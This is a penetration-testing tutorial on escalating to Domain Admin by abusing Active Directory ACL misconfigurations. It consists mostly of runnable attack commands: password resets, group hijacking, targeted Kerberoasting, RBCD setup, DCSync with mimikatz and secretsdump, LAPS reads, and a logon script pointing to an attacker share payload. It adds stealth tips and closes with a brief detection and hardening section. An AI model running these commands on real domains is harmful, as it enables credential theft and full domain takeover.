Part 1: Exploiting Permission Delegation

Every object in Active Directory — users, groups, computers, OUs — has an Access Control List (ACL) that defines who can do what. When administrators delegate permissions carelessly (e.g., letting a helpdesk group reset passwords on admin accounts, or giving IT staff GenericWrite on the Domain Admins group), attackers can chain these misconfigurations to escalate from a low-privilege user to Domain Admin.

BloodHound is the essential tool here. It maps these relationships as a graph and finds the shortest attack path.


Finding Misconfigured ACLs

BloodHound

Upload your collection data and run built-in queries:

  • Shortest Path to Domain Admins from Owned Principals
  • Find Principals with DCSync Rights
  • Shortest Path from Kerberoastable Users

PowerView

# Find all interesting ACLs in the domain
Find-InterestingDomainAcl -ResolveGUIDs

# Check specific object ACL
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ? {
  $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite"
}

# Who can reset passwords?
Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs | ? {
  $_.ObjectAceType -match "User-Force-Change-Password"
}

Attack: GenericAll

Severity: 🔴 Critical

What it means: Full control over the target object. You can do anything — reset passwords, modify group membership, set SPNs, write attributes.

GenericAll on a User

# Option 1: Reset their password
net user targetuser 'NewP@ssw0rd!' /domain

# Option 2: Set an SPN → Kerberoast
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/spn'}
Rubeus.exe kerberoast /user:targetuser /outfile:hash.txt
# Crack with hashcat -m 13100
# Clean up the SPN after
Set-DomainObject -Identity targetuser -Clear serviceprincipalname

# Option 3: Disable Kerberos pre-auth → AS-REP Roast
Set-DomainObject -Identity targetuser -XOR @{useraccountcontrol=4194304}

GenericAll on a Group

# Add yourself directly
Add-DomainGroupMember -Identity "Domain Admins" -Members attackeruser

# Verify
Get-DomainGroupMember -Identity "Domain Admins"

GenericAll on a Computer

# Configure RBCD to yourself (see Part 3 for full RBCD chain)
$sid = Get-DomainComputer YOURPC -Properties objectsid | Select -Expand objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$bytes = New-Object byte[] ($sd.BinaryLength)
$sd.GetBinaryForm($bytes, 0)
Set-DomainObject -Identity TARGETPC -Set @{'msds-allowedtoactonbehalfofotheridentity'=$bytes}

Attack: GenericWrite

Severity: 🔴 Critical

What it means: Write access to any non-protected attribute on the object. Slightly less than GenericAll, but still exploitable.

On a User

# Set SPN for Kerberoasting (targeted Kerberoast)
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='http/fake'}

# Set logon script (code execution next time they log in)
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\payload.exe'}

On a Computer

# Write msDS-AllowedToActOnBehalfOfOtherIdentity → RBCD attack
# (same as GenericAll on computer — see above)

Attack: WriteDACL

Severity: 🔴 Critical

What it means: You can modify the ACL itself. Grant yourself GenericAll, then do whatever you want.

# Step 1: Grant yourself GenericAll on the target
Add-DomainObjectAcl -TargetIdentity "Domain Admins" \
  -PrincipalIdentity attackeruser -Rights All

# Step 2: Now abuse GenericAll (add yourself to the group)
Add-DomainGroupMember -Identity "Domain Admins" -Members attackeruser

WriteDACL on the Domain Object

This is especially dangerous — you can grant yourself DCSync rights:

# Grant DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
  -PrincipalIdentity attackeruser \
  -Rights DCSync

# Now DCSync
mimikatz "lsadump::dcsync /domain:domain.local /user:krbtgt"
# or
secretsdump.py domain.local/attackeruser:pass@dc01.domain.local

Attack: WriteOwner

Severity: 🟠 High

What it means: Change the owner of the object. The owner implicitly has WriteDACL.

Chain: WriteOwner → WriteDACL → GenericAll

# Step 1: Take ownership
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity attackeruser

# Step 2: Grant yourself full rights (WriteDACL is now implicit)
Add-DomainObjectAcl -TargetIdentity "Domain Admins" \
  -PrincipalIdentity attackeruser -Rights All

# Step 3: Add yourself
Add-DomainGroupMember -Identity "Domain Admins" -Members attackeruser

Attack: ForceChangePassword

Severity: 🟠 High

What it means: Reset a user’s password without knowing the current one. This is a standalone right — it doesn’t require GenericAll.

# PowerView
Set-DomainUserPassword -Identity targetuser \
  -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force) -Verbose

# net command
net user targetuser 'NewP@ss123!' /domain

# Impacket (from Linux)
changepasswd.py domain.local/targetuser:'oldpass'@dc01 -newpass 'NewP@ss123!'

⚠️ OPSEC Warning: Resetting passwords is noisy — the user will notice they can’t log in. Prefer Kerberoasting (set SPN) or delegation abuse when stealth matters.


Attack: AddMember / Self

Severity: 🟠 High

What it means: Add any user (or yourself, with AddSelf) to a group.

# Add yourself to a privileged group
Add-DomainGroupMember -Identity "Server Operators" -Members attackeruser
Add-DomainGroupMember -Identity "Backup Operators" -Members attackeruser

# Verify
Get-DomainGroupMember -Identity "Server Operators" | select MemberName

Interesting Groups to Target

GroupWhy It Matters
Domain AdminsFull domain control
Enterprise AdminsFull forest control
Server OperatorsLog on to DCs, manage services
Backup OperatorsRead any file, backup SAM/NTDS
Account OperatorsManage non-admin accounts and groups
DNS AdminsDLL injection on DNS service (runs as SYSTEM on DC)
Group Policy Creator OwnersCreate new GPOs

Attack: AllExtendedRights

Severity: 🟠 High

What it means: Includes both ForceChangePassword and the ability to read LAPS passwords.

# Read LAPS password
Get-DomainComputer TARGET -Properties ms-Mcs-AdmPwd | select ms-Mcs-AdmPwd

# Or via CrackMapExec
crackmapexec ldap dc01 -u user -p pass -M laps

Chaining ACL Attacks

In practice, ACL abuse involves chaining multiple hops. Example path BloodHound might reveal:

You (jsmith)
  → GenericWrite on svc_backup
    → Set SPN → Kerberoast → crack password
      → svc_backup is member of Backup Operators
        → Dump NTDS.dit → extract all hashes
          → Domain Admin

Always check BloodHound’s transitive paths — the direct ACL might not look exploitable, but a 3-hop chain might exist.


Defense & Detection

Hardening

  • Run BloodHound defensively — use it before attackers do. Clean up dangerous edges.
  • AdminSDHolder — ensure protected objects have correct ACLs. SDProp re-applies AdminSDHolder ACLs every 60 minutes.
  • Least privilege — audit all delegated permissions with Find-InterestingDomainAcl.
  • Remove stale ACEs — when employees change roles, their old permissions often remain.

Detection (Event IDs)

Event IDWhat It Catches
4662Directory service object access (ACL use)
5136Directory service object modification
4738User account changed
4728 / 4732 / 4756User added to security group (global / local / universal)
4724Password reset attempt

PowerShell Monitoring

# Audit who has dangerous permissions on Domain Admins
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ? {
  ($_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite") -and
  ($_.SecurityIdentifier -notmatch "S-1-5-21.*-512")  # Exclude DA SID itself
} | select SecurityIdentifier, ActiveDirectoryRights

 

 


Next up → Part 2: Exploiting Kerberos Delegation — unconstrained, constrained, RBCD, Kerberoasting, and AS-REP Roasting.

 

Writeups that put these techniques into practice will be linked here.